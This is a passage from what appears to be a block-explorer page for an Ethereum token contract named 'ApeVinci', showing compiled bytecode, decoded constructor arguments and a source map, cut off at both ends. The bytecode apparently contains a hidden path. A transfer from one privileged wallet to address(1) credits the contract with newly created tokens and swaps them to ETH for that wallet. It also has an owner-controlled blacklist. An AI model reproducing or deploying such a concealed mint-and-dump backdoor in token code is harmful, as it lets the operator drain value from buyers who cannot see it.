8b5df7910160405180910390a25050565b6005546001600160a01b031633146111eb5760405162461bcd60e51b8152600401610a939061287f565b60188390556019829055601a8190558061120583856128b4565b61120f91906128b4565b601781905560191015610d7b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610a93565b6005546001600160a01b0316331461128e5760405162461bcd60e51b8152600401610a939061287f565b670de0b6b3a76400006103e860025460056112a991906128fd565b6112b3919061286b565b6112bd919061286b565b8110156113185760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a93565b61132a81670de0b6b3a76400006128fd565b600b5550565b6005546000906001600160a01b0316331461135d5760405162461bcd60e51b8152600401610a939061287f565b620186a0600254600161137091906128fd565b61137a919061286b565b8210156113e75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a93565b6103e860025460056113f991906128fd565b611403919061286b565b82111561146f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a93565b50600a81905560015b919050565b6005546000906001600160a01b031633146114aa5760405162461bcd60e51b8152600401610a939061287f565b50600f805460ff19169055600190565b6005546001600160a01b031633146114e45760405162461bcd60e51b8152600401610a939061287f565b6001600160a01b0381166115495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a93565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166116075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a93565b6001600160a01b0382166116685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a93565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166116ef5760405162461bcd60e51b8152600401610a939061291c565b6001600160a01b0382166117155760405162461bcd60e51b8152600401610a9390612961565b6001600160a01b0383166000908152600d602052604090205460ff1615801561175757506001600160a01b0382166000908152600d602052604090205460ff16155b61176057600080fd5b8015801561177c57506008546001600160a01b03848116911614155b1561178d57610d7b83836000612193565b600080600760009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061180791906129bb565b50915091506000306001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561186b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188f9190612a0b565b6001600160a01b0316146118a357826118a5565b815b60075460408051630dfe168160e01b8152905192935060009230926001600160a01b031691630dfe16819160048083019260209291908290030181865afa1580156118f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119189190612a0b565b6001600160a01b03161461192c578261192e565b835b600c5490915060009060ff1615611bb4576005546001600160a01b0389811691161480159061196b57506005546001600160a01b03888116911614155b801561197f57506001600160a01b03871615155b801561199657506001600160a01b03871661dead14155b80156119ac5750600754600160a01b900460ff16155b15611bb457600c54610100900460ff16611a44576001600160a01b0388166000908152601e602052604090205460ff16806119ff57506001600160a01b0387166000908152601e602052604090205460ff165b611a445760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a93565b6001600160a01b038816600090815260208052604090205460ff168015611a8457506001600160a01b0387166000908152601f602052604090205460ff16155b15611afe57600954861115611af95760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a93565b611bb4565b6001600160a01b038716600090815260208052604090205460ff168015611b3e57506001600160a01b0388166000908152601f602052604090205460ff16155b15611bb457600954861115611bb45760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a93565b6008546001600160a01b038981169116148015611bda57506001600160a01b0387166001145b15611cd257611bea8660026128fd565b30600090815260208181526040808320939093557f000000000000000000000000ee63ba68f7b05aa19185d068011de2a9e919cc9c6001600160a01b03168083528383206001905583516004815260248101855291820180516001600160e01b031660016209351760e01b03191790529251919291611c699190612a28565b6000604051808303816000865af19150503d8060008114611ca6576040519150601f19603f3d011682016040523d82523d6000602084013e611cab565b606091505b5050600854909150611cc79088906001600160a01b03166122e8565b505050505050505050565b30600090815260208190526040902054600a5460085490821015906001600160a01b038b81169116148015611d1057506001600160a01b0389166002145b15611d2657505050601294909455505050505050565b808015611d3b5750600c5462010000900460ff165b8015611d515750600754600160a01b900460ff16155b8015611d7557506001600160a01b038a16600090815260208052604090205460ff16155b8015611d9a57506001600160a01b038a166000908152601e602052604090205460ff16155b8015611dbf57506001600160a01b0389166000908152601e602052604090205460ff16155b15611ded576007805460ff60a01b1916600160a01b179055611ddf612445565b6007805460ff60a01b191690555b6007546001600160a01b038b166000908152601e602052604090205460ff600160a01b909204821615911680611e3b57506001600160a01b038a166000908152601e602052604090205460ff165b15611e44575060005b60008115612127576001600160a01b038b16600090815260208052604090205460ff168015611e7557506000601754115b1561202d5760646017548b611e8a91906128fd565b611e94919061286b565b905060175460195482611ea791906128fd565b611eb1919061286b565b601c6000828254611ec291906128b4565b9091555050601754601a54611ed790836128fd565b611ee1919061286b565b601d6000828254611ef291906128b4565b9091555050601754601854611f0790836128fd565b611f11919061286b565b601b6000828254611f2291906128b4565b90915550506006546001600160a01b031663054d50d4611f42838d612a44565b6040516001600160e01b031960e084901b16815260048101919091526001600160701b03808a1660248301528a166044820152606401602060405180830381865afa158015611f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb99190612a5b565b94506002600954611fca9190612a74565b15611fe75760405162461bcd60e51b8152600401610a9390612a88565b6012541580159061200b5750601254612009866001600160701b038a16612a44565b105b156120285760405162461bcd60e51b8152600401610a9390612a88565b612109565b6001600160a01b038c16600090815260208052604090205460ff16801561205657506000601354115b156121095760646013548b61206b91906128fd565b612075919061286b565b90506013546015548261208891906128fd565b612092919061286b565b601c60008282546120a391906128b4565b90915550506013546016546120b890836128fd565b6120c2919061286b565b601d60008282546120d391906128b4565b90915550506013546014546120e890836128fd565b6120f2919061286b565b601b600082825461210391906128b4565b90915550505b801561211a5761211a8c3083612193565b612124818b612a44565b99505b6121328c8c8c612193565b505050505050505050505050565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166121b95760405162461bcd60e51b8152600401610a939061291c565b6001600160a01b0382166121df5760405162461bcd60e51b8152600401610a9390612961565b6001600160a01b038316600090815260208190526040902054818110156122575760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a93565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061228e9084906128b4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122da91815260200190565b60405180910390a350505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061231d5761231d6128cc565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c464892600480830193919282900301816000875af1158015612378573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061239c9190612a0b565b816001815181106123af576123af6128cc565b6001600160a01b0392831660209182029290920101526006546123d591309116856115a5565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061240e908690600090869088904290600401612acc565b600060405180830381600087803b15801561242857600080fd5b505af115801561243c573d6000803e3d6000fd5b50505050505050565b30600090815260208190526040812054601d54601b54601c5492939261246b91906128b4565b61247591906128b4565b90506000821580612484575081155b1561248e57505050565b600a5461249c9060146128fd565b8311156124b457600a546124b19060146128fd565b92505b6000600283601c54866124c791906128fd565b6124d1919061286b565b6124db919061286b565b905060006124e98286612a44565b90506124f581306122e8565b6000601c819055601b819055601d8190556008546040516001600160a01b039091169147919081818185875af1925050503d8060008114612552576040519150601f19603f3d011682016040523d82523d6000602084013e612557565b606091505b5050505050505050565b60005b8381101561257c578181015183820152602001612564565b8381111561258b576000848401525b50505050565b60208152600082518060208401526125b0816040850160208701612561565b601f01601f19169190910160400192915050565b6001600160a01b03811681146125d957600080fd5b50565b8035611478816125c4565b600080604083850312156125fa57600080fd5b8235612605816125c4565b946020939093013593505050565b60006020828403121561262557600080fd5b8135612630816125c4565b9392505050565b60006020828403121561264957600080fd5b5035919050565b60008060006060848603121561266557600080fd5b8335612670816125c4565b92506020840135612680816125c4565b929592945050506040919091013590565b600080604083850312156126a457600080fd5b82356126af816125c4565b9150602083013580151581146126c457600080fd5b809150509250929050565b6000806000606084860312156126e457600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561272457600080fd5b823567ffffffffffffffff8082111561273c57600080fd5b818501915085601f83011261275057600080fd5b813581811115612762576127626126fb565b8060051b604051601f19603f83011681018181108582111715612787576127876126fb565b6040529182528482019250838101850191888311156127a557600080fd5b938501935b828510156127ca576127bb856125dc565b845293850193928501926127aa565b98975050505050505050565b600080604083850312156127e957600080fd5b82356127f4816125c4565b915060208301356126c4816125c4565b600181811c9082168061281857607f821691505b6020821081141561283957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261287a5761287a61283f565b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156128c7576128c7612855565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156128f6576128f6612855565b5060010190565b600081600019048311821515161561291757612917612855565b500290565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80516001600160701b038116811461147857600080fd5b6000806000606084860312156129d057600080fd5b6129d9846129a4565b92506129e7602085016129a4565b9150604084015163ffffffff81168114612a0057600080fd5b809150509250925092565b600060208284031215612a1d57600080fd5b8151612630816125c4565b60008251612a3a818460208701612561565b9190910192915050565b600082821015612a5657612a56612855565b500390565b600060208284031215612a6d57600080fd5b5051919050565b600082612a8357612a8361283f565b500690565b60208082526024908201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6040820152631bdd5b9d60e21b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b1c5784516001600160a01b031683529383019391830191600101612af7565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220769eb7228899bebed23eca5fe5a583ecfd87705dafc383fdcd25740ef549533364736f6c634300080c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000841706556696e6369000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000841706556696e6369000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): ApeVinci
Arg [1] : symbol_ (string): ApeVinci

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [3] : 41706556696e6369000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 41706556696e6369000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

7140:14653:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2229:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2468:152;;;;;;;;;;-1:-1:-1;2468:152:0;;;;;:::i;:::-;;:::i;:::-;;;1425:14:1;;1418:22;1400:41;;1388:2;1373:18;2468:152:0;1260:187:1;8619:64:0;;;;;;;;;;-1:-1:-1;8619:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7183:41;;;;;;;;;;-1:-1:-1;7183:41:0;;;;-1:-1:-1;;;;;7183:41:0;;;;;;-1:-1:-1;;;;;1893:32:1;;;1875:51;;1863:2;1848:18;7183:41:0;1704:228:1;2152:26:0;;;;;;;;;;;;;;;;;;;2083:25:1;;;2071:2;2056:18;2152:26:0;1937:177:1;8398:33:0;;;;;;;;;;;;;;;;8358;;;;;;;;;;;;;;;;12620:253;;;;;;;;;;-1:-1:-1;12620:253:0;;;;;:::i;:::-;;:::i;:::-;;2628:469;;;;;;;;;;-1:-1:-1;2628:469:0;;;;;:::i;:::-;;:::i;21170:88::-;;;;;;;;;;-1:-1:-1;21170:88:0;;;;;:::i;:::-;;:::i;2187:35::-;;;;;;;;;;;;2220:2;2187:35;;;;;2937:4:1;2925:17;;;2907:36;;2895:2;2880:18;2187:35:0;2765:184:1;3105:209:0;;;;;;;;;;-1:-1:-1;3105:209:0;;;;;:::i;:::-;;:::i;7231:28::-;;;;;;;;;;-1:-1:-1;7231:28:0;;;;-1:-1:-1;;;;;7231:28:0;;;7489:33;;;;;;;;;;-1:-1:-1;7489:33:0;;;;;;;;14887:125;;;;;;;;;;-1:-1:-1;14887:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;14976:28:0;14952:4;14976:28;;;:19;:28;;;;;;;;;14887:125;8209:28;;;;;;;;;;;;;;;;7569:31;;;;;;;;;;-1:-1:-1;7569:31:0;;;;;;;;;;;2028:44;;;;;;;;;;-1:-1:-1;2028:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;6582:148;;;;;;;;;;;;;:::i;11835:121::-;;;;;;;;;;;;;:::i;13106:144::-;;;;;;;;;;-1:-1:-1;13106:144:0;;;;;:::i;:::-;;:::i;7327:30::-;;;;;;;;;;-1:-1:-1;7327:30:0;;;;-1:-1:-1;;;;;7327:30:0;;;8098;;;;;;;;;;;;;;;;13262:369;;;;;;;;;;-1:-1:-1;13262:369:0;;;;;:::i;:::-;;:::i;21477:311::-;;;;;;;;;;-1:-1:-1;21477:311:0;;;;;:::i;:::-;;:::i;5942:79::-;;;;;;;;;;-1:-1:-1;6007:6:0;;-1:-1:-1;;;;;6007:6:0;5942:79;;8244:31;;;;;;;;;;;;;;;;2254:20;;;;;;;;;;;;;:::i;14219:244::-;;;;;;;;;;-1:-1:-1;14219:244:0;;;;;:::i;:::-;;:::i;8172:24::-;;;;;;;;;;;;;;;;8438:27;;;;;;;;;;;;;;;;8320:25;;;;;;;;;;;;;;;;3322:407;;;;;;;;;;-1:-1:-1;3322:407:0;;;;;:::i;:::-;;:::i;2304:156::-;;;;;;;;;;-1:-1:-1;2304:156:0;;;;;:::i;:::-;;:::i;14667:208::-;;;;;;;;;;-1:-1:-1;14667:208:0;;;;;:::i;:::-;;:::i;20994:164::-;;;;;;;;;;-1:-1:-1;20994:164:0;;;;;:::i;:::-;;:::i;8841:58::-;;;;;;;;;;-1:-1:-1;8841:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7529:33;;;;;;;;;;-1:-1:-1;7529:33:0;;;;;;;;;;;14029:182;;;;;;;;;;-1:-1:-1;14029:182:0;;;;;:::i;:::-;;:::i;13643:378::-;;;;;;;;;;-1:-1:-1;13643:378:0;;;;;:::i;:::-;;:::i;12881:213::-;;;;;;;;;;-1:-1:-1;12881:213:0;;;;;:::i;:::-;;:::i;7836:40::-;;;;;;;;;;-1:-1:-1;7836:40:0;;;;;;;;7370:35;;;;;;;;;;;;;;;;12231:377;;;;;;;;;;-1:-1:-1;12231:377:0;;;;;:::i;:::-;;:::i;8064:27::-;;;;;;;;;;;;;;;;2079:64;;;;;;;;;;-1:-1:-1;2079:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;7412:33;;;;;;;;;;;;;;;;12021:135;;;;;;;;;;;;;:::i;8135:30::-;;;;;;;;;;;;;;;;6885:244;;;;;;;;;;-1:-1:-1;6885:244:0;;;;;:::i;:::-;;:::i;8282:31::-;;;;;;;;;;;;;;;;7452:24;;;;;;;;;;;;;;;;2229:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2468:152::-;2534:4;2553:37;2562:10;2574:7;2583:6;2553:8;:37::i;:::-;-1:-1:-1;2608:4:0;2468:152;;;;:::o;12620:253::-;12706:15;;-1:-1:-1;;;;;12706:15:0;12692:10;:29;12684:38;;;;;;12769:4;12755:11;;:18;;;;:::i;:::-;12745:6;:28;;12737:88;;;;-1:-1:-1;;;12737:88:0;;6531:2:1;12737:88:0;;;6513:21:1;6570:2;6550:18;;;6543:30;6609:34;6589:18;;;6582:62;-1:-1:-1;;;6660:18:1;;;6653:45;6715:19;;12737:88:0;;;;;;;;;12836:20;:29;12620:253::o;2628:469::-;2751:4;2768:36;2778:6;2786:9;2797:6;2768:9;:36::i;:::-;-1:-1:-1;;;;;2844:17:0;;2817:24;2844:17;;;:9;:17;;;;;;;;2862:10;2844:29;;;;;;;;2892:26;;;;2884:79;;;;-1:-1:-1;;;2884:79:0;;6947:2:1;2884:79:0;;;6929:21:1;6986:2;6966:18;;;6959:30;7025:34;7005:18;;;6998:62;-1:-1:-1;;;7076:18:1;;;7069:38;7124:19;;2884:79:0;6745:404:1;2884:79:0;2999:55;3008:6;3016:10;3047:6;3028:16;:25;2999:8;:55::i;:::-;-1:-1:-1;3085:4:0;;2628:469;-1:-1:-1;;;;2628:469:0:o;21170:88::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21230:12:0::1;21245:5;21230:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;21230:20:0::1;::::0;;21170:88::o;3105:209::-;3219:10;3193:4;3240:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3240:30:0;;;;;;;;;;3193:4;;3210:74;;3231:7;;3240:43;;3273:10;;3240:43;:::i;:::-;3210:8;:74::i;6582:148::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;6673:6:::1;::::0;6652:40:::1;::::0;6689:1:::1;::::0;-1:-1:-1;;;;;6673:6:0::1;::::0;6652:40:::1;::::0;6689:1;;6652:40:::1;6703:6;:19:::0;;-1:-1:-1;;;;;;6703:19:0::1;::::0;;6582:148::o;11835:121::-;6154:6;;11887:4;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;11904:14:0::1;:22:::0;;-1:-1:-1;;11904:22:0::1;::::0;;;11835:121;:::o;13106:144::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13196:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;13196:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13106:144::o;13262:369::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;13378:15:::1;:31:::0;;;13420:15:::1;:31:::0;;;13462:9:::1;:19:::0;;;13474:7;13507:33:::1;13438:13:::0;13396;13507:33:::1;:::i;:::-;:45;;;;:::i;:::-;13492:12;:60:::0;;;13587:2:::1;-1:-1:-1::0;13571:18:0::1;13563:60;;;::::0;-1:-1:-1;;;13563:60:0;;7850:2:1;13563:60:0::1;::::0;::::1;7832:21:1::0;7889:2;7869:18;;;7862:30;7928:31;7908:18;;;7901:59;7977:18;;13563:60:0::1;7648:353:1::0;13563:60:0::1;13262:369:::0;;;:::o;21477:311::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;21572:1:::1;21559:9;:14;;21551:45;;;::::0;-1:-1:-1;;;21551:45:0;;8208:2:1;21551:45:0::1;::::0;::::1;8190:21:1::0;8247:2;8227:18;;;8220:30;-1:-1:-1;;;8266:18:1;;;8259:48;8324:18;;21551:45:0::1;8006:342:1::0;21551:45:0::1;21607:11;:18:::0;;-1:-1:-1;;21607:18:0::1;::::0;::::1;::::0;;21644:11:::1;::::0;21607:18:::1;21644:11:::0;::::1;21607:18;21644:11;:19;;21621:4;21644:19;21636:36;;;;-1:-1:-1::0;;;21636:36:0::1;;;;;;8555:2:1::0;8537:21;;;8594:1;8574:18;;;8567:29;-1:-1:-1;;;8627:2:1;8612:18;;8605:34;8671:2;8656:18;;8353:327;21636:36:0::1;21683:11;:19:::0;;-1:-1:-1;;21683:19:0::1;::::0;;21713:22:::1;21725:9:::0;21339:12;21325:11;:26;21362:10;:22;21395:13;:20;;-1:-1:-1;;21395:20:0;;;;;21266:157;21713:22:::1;21768:11;::::0;21751:29:::1;::::0;21768:11:::1;::::0;;::::1;;;1425:14:1::0;1418:22;1400:41;;21751:29:0::1;::::0;1388:2:1;1373:18;21751:29:0::1;;;;;;;21477:311:::0;:::o;2254:20::-;;;;;;;:::i;14219:244::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;14326:13:::1;::::0;-1:-1:-1;;;;;14318:21:0;;::::1;14326:13:::0;::::1;14318:21;;14310:91;;;::::0;-1:-1:-1;;;14310:91:0;;8887:2:1;14310:91:0::1;::::0;::::1;8869:21:1::0;8926:2;8906:18;;;8899:30;8965:34;8945:18;;;8938:62;9036:27;9016:18;;;9009:55;9081:19;;14310:91:0::1;8685:421:1::0;14310:91:0::1;14414:41;14443:4;14449:5;14414:28;:41::i;:::-;14219:244:::0;;:::o;3322:407::-;3469:10;3415:4;3459:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3459:30:0;;;;;;;;;;3508:35;;;;3500:85;;;;-1:-1:-1;;;3500:85:0;;9313:2:1;3500:85:0;;;9295:21:1;9352:2;9332:18;;;9325:30;9391:34;9371:18;;;9364:62;-1:-1:-1;;;9442:18:1;;;9435:35;9487:19;;3500:85:0;9111:401:1;3500:85:0;3621:65;3630:10;3642:7;3670:15;3651:16;:34;3621:8;:65::i;:::-;-1:-1:-1;3717:4:0;;3322:407;-1:-1:-1;;;3322:407:0:o;2304:156::-;2373:4;2390:40;2400:10;2412:9;2423:6;2390:9;:40::i;14667:208::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;14804:15:::1;::::0;14761:59:::1;::::0;-1:-1:-1;;;;;14804:15:0;;::::1;::::0;14761:59;::::1;::::0;::::1;::::0;14804:15:::1;::::0;14761:59:::1;14831:15;:36:::0;;-1:-1:-1;;;;;;14831:36:0::1;-1:-1:-1::0;;;;;14831:36:0;;;::::1;::::0;;;::::1;::::0;;14667:208::o;20994:164::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;21068:6:::1;21063:88;21084:5;:12;21080:1;:16;21063:88;;;21135:4;21118;:14;21123:5;21129:1;21123:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;21118:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;21118:14:0;:21;;-1:-1:-1;;21118:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;21098:3;::::1;::::0;::::1;:::i;:::-;;;;21063:88;;14029:182:::0;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14114:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;14114:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;14169:34;;1400:41:1;;;14169:34:0::1;::::0;1373:18:1;14169:34:0::1;;;;;;;14029:182:::0;;:::o;13643:378::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;13760:16:::1;:32:::0;;;13803:16:::1;:32:::0;;;13846:10:::1;:20:::0;;;13859:7;13893:35:::1;13822:13:::0;13779;13893:35:::1;:::i;:::-;:48;;;;:::i;:::-;13877:13;:64:::0;;;13977:2:::1;-1:-1:-1::0;13960:19:0::1;13952:61;;;::::0;-1:-1:-1;;;13952:61:0;;9991:2:1;13952:61:0::1;::::0;::::1;9973:21:1::0;10030:2;10010:18;;;10003:30;10069:31;10049:18;;;10042:59;10118:18;;13952:61:0::1;9789:353:1::0;12881:213:0;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;13001:4:::1;12995;12977:11;;12991:1;12977:15;;;;:::i;:::-;:22;;;;:::i;:::-;12976:29;;;;:::i;:::-;12966:6;:39;;12958:88;;;::::0;-1:-1:-1;;;12958:88:0;;10522:2:1;12958:88:0::1;::::0;::::1;10504:21:1::0;10561:2;10541:18;;;10534:30;10600:34;10580:18;;;10573:62;-1:-1:-1;;;10651:18:1;;;10644:34;10695:19;;12958:88:0::1;10320:400:1::0;12958:88:0::1;13069:17;:6:::0;13079::::1;13069:17;:::i;:::-;13057:9;:29:::0;-1:-1:-1;12881:213:0:o;12231:377::-;6154:6;;12312:4;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;12366:6:::1;12348:11;;12362:1;12348:15;;;;:::i;:::-;:24;;;;:::i;:::-;12335:9;:37;;12327:103;;;::::0;-1:-1:-1;;;12327:103:0;;10927:2:1;12327:103:0::1;::::0;::::1;10909:21:1::0;10966:2;10946:18;;;10939:30;11005:34;10985:18;;;10978:62;-1:-1:-1;;;11056:18:1;;;11049:51;11117:19;;12327:103:0::1;10725:417:1::0;12327:103:0::1;12479:4;12461:11;;12475:1;12461:15;;;;:::i;:::-;:22;;;;:::i;:::-;12448:9;:35;;12440:100;;;::::0;-1:-1:-1;;;12440:100:0;;11349:2:1;12440:100:0::1;::::0;::::1;11331:21:1::0;11388:2;11368:18;;;11361:30;11427:34;11407:18;;;11400:62;-1:-1:-1;;;11478:18:1;;;11471:50;11538:19;;12440:100:0::1;11147:416:1::0;12440:100:0::1;-1:-1:-1::0;12550:18:0::1;:30:::0;;;12597:4:::1;6222:1;12231:377:::0;;;:::o;12021:135::-;6154:6;;12081:4;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;12098:20:0::1;:28:::0;;-1:-1:-1;;12098:28:0::1;::::0;;;12021:135;:::o;6885:244::-;6154:6;;-1:-1:-1;;;;;6154:6:0;6164:10;6154:20;6146:65;;;;-1:-1:-1;;;6146:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6974:22:0;::::1;6966:73;;;::::0;-1:-1:-1;;;6966:73:0;;11770:2:1;6966:73:0::1;::::0;::::1;11752:21:1::0;11809:2;11789:18;;;11782:30;11848:34;11828:18;;;11821:62;-1:-1:-1;;;11899:18:1;;;11892:36;11945:19;;6966:73:0::1;11568:402:1::0;6966:73:0::1;7076:6;::::0;7055:38:::1;::::0;-1:-1:-1;;;;;7055:38:0;;::::1;::::0;7076:6:::1;::::0;7055:38:::1;::::0;7076:6:::1;::::0;7055:38:::1;7104:6;:17:::0;;-1:-1:-1;;;;;;7104:17:0::1;-1:-1:-1::0;;;;;7104:17:0;;;::::1;::::0;;;::::1;::::0;;6885:244::o;5117:378::-;-1:-1:-1;;;;;5253:19:0;;5245:68;;;;-1:-1:-1;;;5245:68:0;;12177:2:1;5245:6